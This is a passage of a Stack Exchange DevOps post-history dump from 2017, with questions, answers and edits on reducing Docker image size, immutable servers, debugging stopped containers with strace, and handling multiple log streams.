  <row Id="1285" PostHistoryTypeId="1" PostId="413" RevisionGUID="1f2f2196-83a2-47d9-a1ab-c967bf777725" CreationDate="2017-03-07T12:42:17.677" UserId="210" Text="How to create the smallest working docker image every time?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1286" PostHistoryTypeId="3" PostId="413" RevisionGUID="1f2f2196-83a2-47d9-a1ab-c967bf777725" CreationDate="2017-03-07T12:42:17.677" UserId="210" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1287" PostHistoryTypeId="2" PostId="414" RevisionGUID="00775087-959d-4606-9d07-be2e01bba642" CreationDate="2017-03-07T12:45:43.580" UserId="242" Text="Immutable servers are servers on which no changes can be made (other than updates and security patches ideally). Instead of changing the software on the server, you spool up a new server with the desired software and then terminate the older one. &#xA;&#xA;This concept helps to ensure that your test, development, and QA server are all identical, which is important for multiple reasons out of the scope of this question. Another benefit of immutable servers is the ability to rollback the application onto an older server. For example, I need to change K on production server 1, so I spool up server 2 and change K. Now after 10 minutes, I notice that K broke something with my application, rather than having to fix it right away which could take hours and potentially cause downtime for my customers, I redirect the traffic back to server 1, while I figure out what is wrong with 2. " ContentLicense="CC BY-SA 3.0" />
  <row Id="1288" PostHistoryTypeId="2" PostId="415" RevisionGUID="3e0ba77f-3cdd-44a6-ba1e-b4935d52c759" CreationDate="2017-03-07T12:50:40.530" UserId="6" Text="A server, be it hardware or a virtual server in the cloud, usually has an operating system and application running on it.&#xD;&#xA;&#xD;&#xA;Often application, and components of the operating system, require configuration and require changes to be applied. For example security patches, deployment of new versions of the application and configuration changes.&#xD;&#xA;&#xD;&#xA;When you consider that any change is a *mutation* on the state of the server, the term `immutable` starts to make more sense. It means that no *mutations* are allowed on such a server.&#xD;&#xA;&#xD;&#xA;It is often the case, when people are involved in changing the state of the server - be it a deployment of a version, or configuration change, or a security path. The result is a server that is no longer working as expected. For example, the application might not run now because of misconfiguration, etc.&#xD;&#xA;&#xD;&#xA;This is why a practice for creating *immutable* servers is established. With *immutable* servers, an **image** of a server is created with all the configuration, patches, application versions bundled in. Then that server **image** can be used to create servers in various environments.&#xD;&#xA;&#xD;&#xA;The first environment where such an **image** is used, would be an environment where the image can be tested to work. Any abnormalities are detected, and only then such an image can be **promoted** to a production environment to replace the servers there with the new version (which is known to work well).&#xD;&#xA;&#xD;&#xA;Once the process of creating the images and promoting the images is automated, you get a very failure-proof process that involves very little human effort and very low chance to introduce failure into your service.&#xD;&#xA;&#xD;&#xA;With containers (see: [Docker][1]) there is also a process to create images, and then spawn these into running containers. These are quite often replaced by new containers based on updated images, and are never mutated. Meaning that no human enters into the container to &quot;fix something&quot; by introducing a change.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tag:docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="1289" PostHistoryTypeId="2" PostId="416" RevisionGUID="1799d306-5f1e-4ce3-b984-ad41f400da6e" CreationDate="2017-03-07T12:55:25.557" UserId="13" Text="Probably not exactly an answer, but worth giving the alternatives.&#xD;&#xA;&#xD;&#xA;Chef's [habitat](https://www.habitat.sh) has been created with this in mind, creating a package with all needed dependencies without the extraneous distro/base image load you don't wish.&#xD;&#xA;&#xD;&#xA;Extracts on what matters here, the container size from [this blog post](https://blog.chef.io/2016/11/28/why-habitat-plans-and-packages-part-2/) with a simple nodejs app:&#xD;&#xA;&#xD;&#xA;&gt;     michael@ricardo-2:plans_pkg_part_2$ docker images&#xD;&#xA;&gt;     REPOSITORY           TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;&gt;     mfdii/node-example   latest              36c6568c606b        40 minutes ago      655.9 MB&#xD;&#xA;&gt;     node                 latest              04c0ca2a8dad        16 hours ago        654.6 MB&#xD;&#xA;&gt;     mfdii/mytutorialapp  latest              534afd80d74d        2 minutes ago       182.1 MB&#xD;&#xA;&#xD;&#xA;`mdfii/node-example` is a docker image from a classis dockerfile while `mfdii/mytutorialapp` is the docker image produced with habitat.&#xD;&#xA;&#xD;&#xA;If size is your main concern and you're up to take the learning curve of Habitat plans, this could be a solution for you." ContentLicense="CC BY-SA 3.0" />
  <row Id="1290" PostHistoryTypeId="2" PostId="417" RevisionGUID="7eddc0b1-bdf8-40c6-8792-766f7beaa285" CreationDate="2017-03-07T13:02:28.923" UserId="6" Text="A `Dockerfile` creates a new layer for each of the commands in the file. Since layers are well, *layered* on top of each other - you cannot remove files that a previous layer added.&#xD;&#xA;&#xD;&#xA;So if you just change this:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update -y&#xD;&#xA;    RUN apt-get install -y wget a-package&#xD;&#xA;    # ...&#xD;&#xA;    RUN apt-get purge -y wget&#xD;&#xA;    RUN rm -r a-build-dir&#xD;&#xA;    RUN apt-get purge -y a-package&#xD;&#xA;&#xD;&#xA;To this:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update -y \&#xD;&#xA;        &amp;&amp; apt-get install -y wget a-package \&#xD;&#xA;        &amp;&amp; mkdir a-build-dir \&#xD;&#xA;        &amp;&amp; wget http://some-site/very-big-source-code.tar.gz \&#xD;&#xA;        &amp;&amp; tar xzvf very-big-source-code.tar.gz \&#xD;&#xA;        &amp;&amp; do-some-compilation \&#xD;&#xA;        &amp;&amp; apt-get purge -y wget \&#xD;&#xA;        &amp;&amp; cd .. \&#xD;&#xA;        &amp;&amp; rm -rf a-build-dir \&#xD;&#xA;        &amp;&amp; apt-get purge -y a-package&#xD;&#xA;&#xD;&#xA;You will get a much smaller image.&#xD;&#xA;&#xD;&#xA;Another option, is to **squash** the image after you built it.&#xD;&#xA;[Q: How does the new `docker --squash` work?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/41764336/how-does-the-new-docker-squash-work" ContentLicense="CC BY-SA 3.0" />
  <row Id="1291" PostHistoryTypeId="5" PostId="417" RevisionGUID="8f487799-8ad6-4bda-933a-39088cf81d64" CreationDate="2017-03-07T13:06:12.877" UserId="6" Comment="explain why more layers means more size" Text="A `Dockerfile` creates a new layer for each of the commands in the file. Since layers are well, *layered* on top of each other - you cannot remove files that a previous layer added. This is why when you install packages, or download files, or create builds each in a separate command - these are still there in the image, even if in a future layer you removed them.&#xD;&#xA;&#xD;&#xA;So if you just change this:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update -y&#xD;&#xA;    RUN apt-get install -y wget a-package&#xD;&#xA;    # ...&#xD;&#xA;    RUN apt-get purge -y wget&#xD;&#xA;    RUN rm -r a-build-dir&#xD;&#xA;    RUN apt-get purge -y a-package&#xD;&#xA;&#xD;&#xA;To this:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update -y \&#xD;&#xA;        &amp;&amp; apt-get install -y wget a-package \&#xD;&#xA;        &amp;&amp; mkdir a-build-dir \&#xD;&#xA;        &amp;&amp; wget http://some-site/very-big-source-code.tar.gz \&#xD;&#xA;        &amp;&amp; tar xzvf very-big-source-code.tar.gz \&#xD;&#xA;        &amp;&amp; do-some-compilation \&#xD;&#xA;        &amp;&amp; apt-get purge -y wget \&#xD;&#xA;        &amp;&amp; cd .. \&#xD;&#xA;        &amp;&amp; rm -rf a-build-dir \&#xD;&#xA;        &amp;&amp; apt-get purge -y a-package&#xD;&#xA;&#xD;&#xA;You will get a much smaller image.&#xD;&#xA;&#xD;&#xA;Another option, is to **squash** the image after you built it.&#xD;&#xA;[Q: How does the new `docker --squash` work?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/41764336/how-does-the-new-docker-squash-work" ContentLicense="CC BY-SA 3.0" />
  <row Id="1292" PostHistoryTypeId="5" PostId="416" RevisionGUID="27844f7a-67e7-4ca3-b0c3-36e1dee3f95e" CreationDate="2017-03-07T13:16:01.113" UserId="13" Comment="Bolded links so they won't be missed" Text="Probably not exactly an answer, but worth giving the alternatives.&#xD;&#xA;&#xD;&#xA;Chef's [**habitat**](https://www.habitat.sh) has been created with this in mind, creating a package with all needed dependencies without the extraneous distro/base image load you don't wish.&#xD;&#xA;&#xD;&#xA;Extracts on what matters here, the container size from [**this blog post**](https://blog.chef.io/2016/11/28/why-habitat-plans-and-packages-part-2/) with a simple nodejs app:&#xD;&#xA;&#xD;&#xA;&gt;     michael@ricardo-2:plans_pkg_part_2$ docker images&#xD;&#xA;&gt;     REPOSITORY           TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;&gt;     mfdii/node-example   latest              36c6568c606b        40 minutes ago      655.9 MB&#xD;&#xA;&gt;     node                 latest              04c0ca2a8dad        16 hours ago        654.6 MB&#xD;&#xA;&gt;     mfdii/mytutorialapp  latest              534afd80d74d        2 minutes ago       182.1 MB&#xD;&#xA;&#xD;&#xA;`mdfii/node-example` is a docker image from a classis dockerfile while `mfdii/mytutorialapp` is the docker image produced with habitat.&#xD;&#xA;&#xD;&#xA;If size is your main concern and you're up to take the learning curve of Habitat plans, this could be a solution for you." ContentLicense="CC BY-SA 3.0" />
  <row Id="1293" PostHistoryTypeId="5" PostId="417" RevisionGUID="2a5679a8-a47c-45e2-aec7-79ac3388724c" CreationDate="2017-03-07T13:26:41.493" UserId="6" Comment="add another option that mentions to use slimmer images" Text="A `Dockerfile` creates a new layer for each of the commands in the file. Since layers are well, *layered* on top of each other - you cannot remove files that a previous layer added. This is why when you install packages, or download files, or create builds each in a separate command - these are still there in the image, even if in a future layer you removed them.&#xD;&#xA;&#xD;&#xA;So if you just change this:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update -y&#xD;&#xA;    RUN apt-get install -y wget a-package&#xD;&#xA;    # ...&#xD;&#xA;    RUN apt-get purge -y wget&#xD;&#xA;    RUN rm -r a-build-dir&#xD;&#xA;    RUN apt-get purge -y a-package&#xD;&#xA;&#xD;&#xA;To this:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update -y \&#xD;&#xA;        &amp;&amp; apt-get install -y wget a-package \&#xD;&#xA;        &amp;&amp; mkdir a-build-dir \&#xD;&#xA;        &amp;&amp; wget http://some-site/very-big-source-code.tar.gz \&#xD;&#xA;        &amp;&amp; tar xzvf very-big-source-code.tar.gz \&#xD;&#xA;        &amp;&amp; do-some-compilation \&#xD;&#xA;        &amp;&amp; apt-get purge -y wget \&#xD;&#xA;        &amp;&amp; cd .. \&#xD;&#xA;        &amp;&amp; rm -rf a-build-dir \&#xD;&#xA;        &amp;&amp; apt-get purge -y a-package&#xD;&#xA;&#xD;&#xA;You will get a much smaller image.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Another option, is to **squash** the image after you built it.&#xD;&#xA;[Q: How does the new `docker --squash` work?][1]&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Yet another option, is to choose a slim base image. For example, images that use [Alpine Linux][2] as their base instead of Debian, take just 10-15mb instead of 180-250mb. And this is before adding your own application and data. Many *official* base images on [Docker Hub][3] have an alpine version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/41764336/how-does-the-new-docker-squash-work&#xD;&#xA;  [2]: https://alpinelinux.org/&#xD;&#xA;  [3]: https://hub.docker.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1294" PostHistoryTypeId="4" PostId="337" RevisionGUID="a8c58d1e-b5f9-4d98-b26c-84104a2804d8" CreationDate="2017-03-07T13:33:54.880" UserId="40" Comment="edited tags; edited title" Text="What are possible implementations (or examples) of the four-eyes principle?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1295" PostHistoryTypeId="6" PostId="337" RevisionGUID="a8c58d1e-b5f9-4d98-b26c-84104a2804d8" CreationDate="2017-03-07T13:33:54.880" UserId="40" Comment="edited tags; edited title" Text="&lt;configuration&gt;&lt;four-eyes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1296" PostHistoryTypeId="5" PostId="415" RevisionGUID="3a816ace-e8c5-44e2-b542-cd695edc99ad" CreationDate="2017-03-07T14:18:00.517" UserId="6" Comment="add link to canonical article on the subject of immutable servers" Text="The best explanation can be found (as always) on [Martin Fowler's bliki article on Immutable Servers][1].&#xD;&#xA;&#xD;&#xA;A server, be it hardware or a virtual server in the cloud, usually has an operating system and application running on it.&#xD;&#xA;&#xD;&#xA;Often application, and components of the operating system, require configuration and require changes to be applied. For example security patches, deployment of new versions of the application and configuration changes.&#xD;&#xA;&#xD;&#xA;When you consider that any change is a *mutation* on the state of the server, the term `immutable` starts to make more sense. It means that no *mutations* are allowed on such a server.&#xD;&#xA;&#xD;&#xA;It is often the case, when people are involved in changing the state of the server - be it a deployment of a version, or configuration change, or a security path. The result is a server that is no longer working as expected. For example, the application might not run now because of misconfiguration, etc.&#xD;&#xA;&#xD;&#xA;This is why a practice for creating *immutable* servers is established. With *immutable* servers, an **image** of a server is created with all the configuration, patches, application versions bundled in. Then that server **image** can be used to create servers in various environments.&#xD;&#xA;&#xD;&#xA;The first environment where such an **image** is used, would be an environment where the image can be tested to work. Any abnormalities are detected, and only then such an image can be **promoted** to a production environment to replace the servers there with the new version (which is known to work well).&#xD;&#xA;&#xD;&#xA;Once the process of creating the images and promoting the images is automated, you get a very failure-proof process that involves very little human effort and very low chance to introduce failure into your service.&#xD;&#xA;&#xD;&#xA;Often immutable servers don't even include any way to &quot;enter&quot; them, such as for example the ssh server is missing. In this case it is also often the case that all the metrology of a server (metrics, logs) is shipped to systems outside such as a metrics database or log aggregation service.&#xD;&#xA;&#xD;&#xA;With containers (see: [Docker][2]) there is also a process to create images, and then spawn these into running containers. These are quite often replaced by new containers based on updated images, and are never mutated. Meaning that no human enters into the container to &quot;fix something&quot; by introducing a change.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/ImmutableServer.html&#xD;&#xA;  [2]: http://tag:docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="1297" PostHistoryTypeId="2" PostId="418" RevisionGUID="0a255115-70f7-4c85-a2aa-72f809acacf2" CreationDate="2017-03-07T14:38:25.760" UserId="13" Text="There's one possibility I can think of, if when the dev are working on their own workstation, with sometimes images baked for virtual box to run on their workstation where your infrastructure doesn't use the exact same image.&#xD;&#xA;&#xD;&#xA;The dev will need, while developing a feature, need to add a JVM parameter or whatever change to the middleware early in its work and forget it.&#xD;&#xA;&#xD;&#xA;Before commiting, all unit/integration tests run on its workstation works great, as the baked image is shared, it works on every develloper system.&#xD;&#xA;&#xD;&#xA;But when going through CI, it fails because the change to the middle-ware wasn't implemented, either because the dev forgot to ask for it, or just because the team in charge of updating the base images/provisioning system didn't had the time or did forget to update the system.&#xD;&#xA;&#xD;&#xA;That's a good thing it break in CI, because it tells early before going into production that the system won't work as expected, but sometimes it becomes a hell to find the missing parameter.&#xD;&#xA;&#xD;&#xA;This last point advocate to avoid rejecting commits, and just break on CI on a feature branch, thus it won't block anyone else, and let the dev fix the problem early, when the change is needed and prevent this change to be forget in the flow.&#xD;&#xA;&#xD;&#xA;FWIW, we did exactly this here, developers had whole access to development machines and releases in Q/A were failing because a parameter change has been forget, we did move to chef to handle the configuration of the middleware (tomcat now) so each needed change to the infrastructure has to be coded somewhere and will be reproduced in all environment." ContentLicense="CC BY-SA 3.0" />
  <row Id="1298" PostHistoryTypeId="5" PostId="125" RevisionGUID="32462a6d-7be5-4ad8-ae26-2c1ab400628d" CreationDate="2017-03-07T14:39:19.590" UserId="6" Comment="introduce the word 'image' which better explains the concept" Text="The term Phoenix Server was coined by a fellow of Martin Fowler, and all three terms described in short articles on Martin's bliki.&#xD;&#xA;&#xD;&#xA;* [Snowflake Server][1]&#xD;&#xA;* [Phoenix Server][2]&#xD;&#xA;* [Immutable Server][3]&#xD;&#xA;&#xD;&#xA;The pros and cons of each such server are described in the articles. The main difference being in the way the server is managed.&#xD;&#xA;&#xD;&#xA;Servers exist to fulfill the role of a container for some application(s). Since applications change often, it is often required to change some attributes of the container - such as packages, configuration, etc. It is also sometimes required to change attributes of the container itself because of external reasons, such as security vulnerabilities that require patches to be installed.&#xD;&#xA;&#xD;&#xA;There are several ways to change an existing server:&#xD;&#xA;&#xD;&#xA;  1. Manually create the server initially, then keep changing its content (mutating) each time a change is required.&#xD;&#xA;  2. &quot;Bake&quot; an image for a server based on a recipe, usually in an automated way (not manually). Then create servers from that image. And repeat this process on every change.&#xD;&#xA;&#xD;&#xA;The former is called Snowflake, while the latter is a practice that allows Phoenix and Immutable server types. Where Immutable states that no changes are made to an existing server once it was created, and Phoenix means that a server is destroyed completely and a new one is used to replace it during the change process.&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/SnowflakeServer.html&#xD;&#xA;  [2]: https://martinfowler.com/bliki/PhoenixServer.html&#xD;&#xA;  [3]: https://martinfowler.com/bliki/ImmutableServer.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1299" PostHistoryTypeId="2" PostId="419" RevisionGUID="33ecc9d3-0f1e-4df9-8b59-cfe671c219f2" CreationDate="2017-03-07T14:45:20.967" UserId="27" Text="Sometimes you have to investigate a container, which is stopped, or a container which after starting up dies very quickly and stops.&#xD;&#xA;&#xD;&#xA;`docker exec -ti &lt;id&gt; bash` only works on running containers, once it finishes, the bash prompt terminates as well.&#xD;&#xA;&#xD;&#xA;With `docker start` you cannot supply a different command, and if the container dies abruptly again you won't have enough time to get into the container and do your investigations.&#xD;&#xA;&#xD;&#xA;We can do `docker commit`, then `docker run` on the new image with a different command, but I'm wondering if there are any other alternatives" ContentLicense="CC BY-SA 3.0" />
  <row Id="1300" PostHistoryTypeId="1" PostId="419" RevisionGUID="33ecc9d3-0f1e-4df9-8b59-cfe671c219f2" CreationDate="2017-03-07T14:45:20.967" UserId="27" Text="How to investigate a docker container where the main process died" ContentLicense="CC BY-SA 3.0" />
  <row Id="1301" PostHistoryTypeId="3" PostId="419" RevisionGUID="33ecc9d3-0f1e-4df9-8b59-cfe671c219f2" CreationDate="2017-03-07T14:45:20.967" UserId="27" Text="&lt;docker&gt;&lt;containers&gt;&lt;post-mortem&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1302" PostHistoryTypeId="2" PostId="420" RevisionGUID="5655efaf-8c11-4d24-adb7-3c52b961e620" CreationDate="2017-03-07T15:04:12.703" UserId="271" Text="Cloud technologies shifted the frontier between hardware and software so that many technical operations formerly exclusive citizen of the hardware world are also subjects of the software realm. Shared computing environments might be as old as computers themselves&lt;sup&gt;1&lt;/sup&gt; but cloud technologies could popularise them by offering convenient and familiar metaphors to interact with them: cloud users reserve an *instance,* a complete computer or a mimic, whereas older shared computing environments have all possible set of unwieldy limitations and “your program have to be uploaded on that FTP server, will run in environment X (usually with 10y old version of whatever software you want to use), for at most 60 minutes” could sound familiar to former or actual users of computing centres.&#xD;&#xA;&#xD;&#xA;The practical consequence of this shift is that deployment procedures can now be represented by *software artefacts.* (Deployment procedures are the instructions telling how to setup an infrastructure, with databases, web-servers or whatever belongs to this infrastructure, together with the network where they run on.)  Geared with these new lenses, manual maintenance of servers pretty much looks like manual patching of production code – which is only in [very rare occasions](http://flownet.com/gat/jpl-lisp.html) a desirable thing. Manual maintenance is susceptible to introduce discrepancies between the systems actually running in production and the code describing these systems, which in turns mean irreproducible behaviour and impossible bug analysis, dual bug fixing, and other calamities.&#xD;&#xA;&#xD;&#xA;The *immutable server pattern* is just the transposition for cloud operations of the above mantra, according to which we should avoid manual maintenance of running programs.  Instead of manually configuring severs, the *immutable server pattern* recommends to automatise this configuration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Implementation flavours&#xD;&#xA;&#xD;&#xA;While the general idea of the *immutable server pattern* is quite clear, there is a lot of implementation nuances. For instance, some approaches suggest to not update servers at all but to systematically *replace* servers instead. This is because updating yields situation where a deployment consists of servers having been started at several distinct times and having gone through several, distinct, updating processes which implies an inhomogeneous set of servers and can lead to subtle differences in how servers handle their jobs.  A second popular variation point is the discipline regarding remote access to the servers. Some like to disable completely remote administrative access to servers, in order to guarantee that manual maintenance never happens.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## History note&#xD;&#xA;&#xD;&#xA;To the best of my knowledge, the term “immutable server” has been popularised by [Kief Morris](https://martinfowler.com/bliki/ImmutableServer.html) but the idea itself is much older.  In 1999 [FreeBSD jails](https://www.freebsd.org/cgi/man.cgi?query=jail&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+4.0-RELEASE&amp;arch=default&amp;format=html) already popularised the idea of fully automatising the configuration of disposable computing environments, this is how I started to implement the “immutable server” pattern many years before I heard this name to describe this technique.&#xD;&#xA;&#xD;&#xA;Immutability, in the guise of physical immutability based on CD-ROMS, has also been a popular measure to manufacture trusted computing systems. This is not to be mistaken with the immutable server pattern.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&lt;sup&gt;1&lt;/sup&gt;If we don't count automatic loom tables or roller organs as computers." ContentLicense="CC BY-SA 3.0" />
  <row Id="1303" PostHistoryTypeId="2" PostId="421" RevisionGUID="9c236ed0-37d2-4144-9dc0-5d958c318fc2" CreationDate="2017-03-07T15:05:58.583" UserId="6" Text="General ways to track why a process in Linux failed are good. One such way is to run a process using [`strace`][1] which will tell you the system calls process did and usually point to the reason for a failure.&#xD;&#xA;&#xD;&#xA;You can create a `Dockerfile` that looks something like this:&#xD;&#xA;&#xD;&#xA;    FROM original_image&#xD;&#xA;&#xD;&#xA;    RUN apt-get -y update &amp;&amp; apt-get install -y strace&#xD;&#xA;&#xD;&#xA;    # build with `docker build -t debug_version`&#xD;&#xA;&#xD;&#xA;Then run your new image using `docker run debug_version strace original_cmd`.&#xD;&#xA;&#xD;&#xA;For processes that fork children (and then die) you want to run `strace` with the `-ff` option. You can also map some file using [Docker data volumes][2] and use the `-o` option from `strace` to write to it. But in general `strace` will leave output on stdout, which is readable using `docker log`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://man7.org/linux/man-pages/man1/strace.1.html&#xD;&#xA;  [2]: https://docs.docker.com/engine/tutorials/dockervolumes/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1304" PostHistoryTypeId="5" PostId="421" RevisionGUID="6028b021-8dbc-47aa-ab6c-3ee891194e8a" CreationDate="2017-03-07T15:12:14.087" UserId="6" Comment="cross-link to serverfault" Text="General ways to track why a process in Linux failed are good. One such way is to run a process using [`strace`][1] which will tell you the system calls process did and usually point to the reason for a failure.&#xD;&#xA;&#xD;&#xA;You can create a `Dockerfile` that looks something like this:&#xD;&#xA;&#xD;&#xA;    FROM original_image&#xD;&#xA;&#xD;&#xA;    RUN apt-get -y update &amp;&amp; apt-get install -y strace&#xD;&#xA;&#xD;&#xA;    # build with `docker build -t debug_version`&#xD;&#xA;&#xD;&#xA;Then run your new image using `docker run debug_version strace original_cmd`.&#xD;&#xA;&#xD;&#xA;For processes that fork children (and then die) you want to run `strace` with the `-ff` option. You can also map some file using [Docker data volumes][2] and use the `-o` option from `strace` to write to it. But in general `strace` will leave output on stdout, which is readable using `docker log`.&#xD;&#xA;&#xD;&#xA;Related [Q: Linux process terminates mysteriously][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://man7.org/linux/man-pages/man1/strace.1.html&#xD;&#xA;  [2]: https://docs.docker.com/engine/tutorials/dockervolumes/&#xD;&#xA;  [3]: http://serverfault.com/questions/656760/linux-process-terminates-mysteriously" ContentLicense="CC BY-SA 3.0" />
  <row Id="1305" PostHistoryTypeId="4" PostId="419" RevisionGUID="c167500a-a34d-411c-a731-e021641d878d" CreationDate="2017-03-07T15:56:20.790" UserId="91" Comment="Just a mild cleanup on the title" Text="How should I best investigate a docker container where the main process has died" ContentLicense="CC BY-SA 3.0" />
  <row Id="1306" PostHistoryTypeId="24" PostId="419" RevisionGUID="c167500a-a34d-411c-a731-e021641d878d" CreationDate="2017-03-07T15:56:20.790" Comment="Proposed by 91 approved by 27 edit id of 128" ContentLicense="CC BY-SA 3.0" />
  <row Id="1307" PostHistoryTypeId="5" PostId="419" RevisionGUID="4c564a51-9a0f-422e-9638-dbf9a522e52c" CreationDate="2017-03-07T15:56:26.463" UserId="14" Comment="Just a mild cleanup on the title" Text="Sometimes you have to investigate a container, which is stopped, or a container which after starting up dies very quickly and stops.&#xD;&#xA;&#xD;&#xA;`docker exec -ti &lt;id&gt; bash` only works on running containers, once it finishes, the bash prompt terminates as well.&#xD;&#xA;&#xD;&#xA;With `docker start` you cannot supply a different command, and if the container dies abruptly again you won't have enough time to get into the container and do your investigations.&#xD;&#xA;&#xD;&#xA;We can do `docker commit`, then `docker run` on the new image with a different command, but I'm wondering if there are any other alternatives." ContentLicense="CC BY-SA 3.0" />
  <row Id="1308" PostHistoryTypeId="4" PostId="419" RevisionGUID="4c564a51-9a0f-422e-9638-dbf9a522e52c" CreationDate="2017-03-07T15:56:26.463" UserId="14" Comment="Just a mild cleanup on the title" Text="How should I best investigate a docker container where the main process has died?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1309" PostHistoryTypeId="2" PostId="422" RevisionGUID="d3d74371-92d2-4b5e-a20c-f4e2ec7f51f2" CreationDate="2017-03-07T16:15:22.293" UserId="27" Text="We have an application that writes three types of logs into three separate files: access logs, generic application logs and system logs. The format (and purpose) of these logs are very different. And we have separate logforwarders that send them separately to our centralised logging system.&#xD;&#xA;&#xD;&#xA;Based on the [treat logs as event streams][1] principle, we are thinking about moving from using files to stdout. While we know some of the benefit of this approach, this would also mean that we'd get a merged stream of the differently formatted logs, which we would need to split again either before we can send them to our central system (Kibana / Splunk / etc.), or inside there.&#xD;&#xA;&#xD;&#xA;We're wondering whether there are any tools or recommendations on how we should approach this situation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://12factor.net/logs" ContentLicense="CC BY-SA 3.0" />
  <row Id="1310" PostHistoryTypeId="1" PostId="422" RevisionGUID="d3d74371-92d2-4b5e-a20c-f4e2ec7f51f2" CreationDate="2017-03-07T16:15:22.293" UserId="27" Text="How to have multiple log streams in docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="1311" PostHistoryTypeId="3" PostId="422" RevisionGUID="d3d74371-92d2-4b5e-a20c-f4e2ec7f51f2" CreationDate="2017-03-07T16:15:22.293" UserId="27" Text="&lt;docker&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1312" PostHistoryTypeId="2" PostId="423" RevisionGUID="a026c0b1-2ed9-4ae8-a1b6-a2373e00db14" CreationDate="2017-03-07T16:27:33.763" UserId="47" Text="This answer is more about scalability considerations - if the number of workers can be high and/or multiple of them can produce logs at high rate at the same time.&#xD;&#xA;&#xD;&#xA;Yes, using multiple logfiles simultaneously is a good practice.&#xD;&#xA;&#xD;&#xA;Attempting to combine into a single logfile logs from multiple workers **in real time** will raise problems:&#xD;&#xA;&#xD;&#xA;- using blocking mechanims to prevent message loss will slow down the workers&#xD;&#xA;- log messages can appear out-of-order in the combined logfile&#xD;&#xA;- a centralized logging facility which combines the logs can be overloaded due to limited write speed, messages would be lost &#xD;&#xA;&#xD;&#xA;Sharding logfiles (using multiple logfiles active in the same time) is itself a technique used by some hosting providers offering high performance, scalable centralized logging services. For example, when exporting logs to files Google's [StackDriver Logging][1] produces multiple sharded logfiles. From [Log entries in Google Cloud Storage][2]:&#xD;&#xA;&#xD;&#xA;&gt; When you [export logs][3] to a Cloud Storage bucket, Stackdriver&#xD;&#xA;&gt; Logging writes a set of files to the bucket. The files are organized&#xD;&#xA;&gt; in directory hierarchies by log type and date. The log type can be a&#xD;&#xA;&gt; simple name like `syslog` or a compound name like&#xD;&#xA;&gt; `appengine.googleapis.com/request_log`. If these logs were stored in a&#xD;&#xA;&gt; bucket named `my-gcs-bucket`, then the directories would be named as&#xD;&#xA;&gt; in the following example:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     my-gcs-bucket/syslog/YYYY/MM/DD/&#xD;&#xA;&gt;     my-gcs-bucket/appengine.googleapis.com/request_log/YYYY/MM/DD/&#xD;&#xA;&gt; &#xD;&#xA;&gt; A single bucket can contain logs from multiple log types.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The leaf directories (`DD/`) contain multiple files, each of which&#xD;&#xA;&gt; holds the exported log entries for a time period specified in the file&#xD;&#xA;&gt; name. The files are sharded and their names end in a shard number,&#xD;&#xA;&gt; `Sn` or `An` (n=0, 1, 2, ...). For example, here are two files that&#xD;&#xA;&gt; might be stored within the `directory&#xD;&#xA;&gt; my-gcs-bucket/syslog/2015/01/13/`:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     08:00:00_08:59:59_S0.json&#xD;&#xA;&gt;     08:00:00_08:59:59_S1.json&#xD;&#xA;&gt; &#xD;&#xA;&gt; These two files together contain the `syslog` log entries for all&#xD;&#xA;&gt; instances during the hour beginning 0800 UTC. To get all the log&#xD;&#xA;&gt; entries, you must read all the shards for each time period—in this&#xD;&#xA;&gt; case, file shards 0 and 1. The number of file shards written can&#xD;&#xA;&gt; change for every time period depending on the volume of log entries.&#xD;&#xA;&#xD;&#xA;Such high-performance logging services can also offer alternatives to logging to files, management of logfiles can thus be avoided altogether if that is of interest:&#xD;&#xA;&#xD;&#xA;- inserting logs directly into a database. For example Stackdriver Logging can [push logs directly into Google BigQuery][4]&#xD;&#xA;- pushing logs directly into a processing engine. For example Stackdriver Logging can [push logs into Google Pub/Sub topics][5]&#xD;&#xA;&#xD;&#xA;Finally - if real-time logfile merging is not a requirement having multiple logfiles can help with offline log management:&#xD;&#xA;&#xD;&#xA;- easy to devise progressive log backup, compression, archiving and eventual disposal schemes&#xD;&#xA;- parallel processing of multiple sets of logs (logfiles) is possible, reducing/avoiding bottleneck effects&#xD;&#xA;- no file splitting and re-writing necessary&#xD;&#xA;&#xD;&#xA;  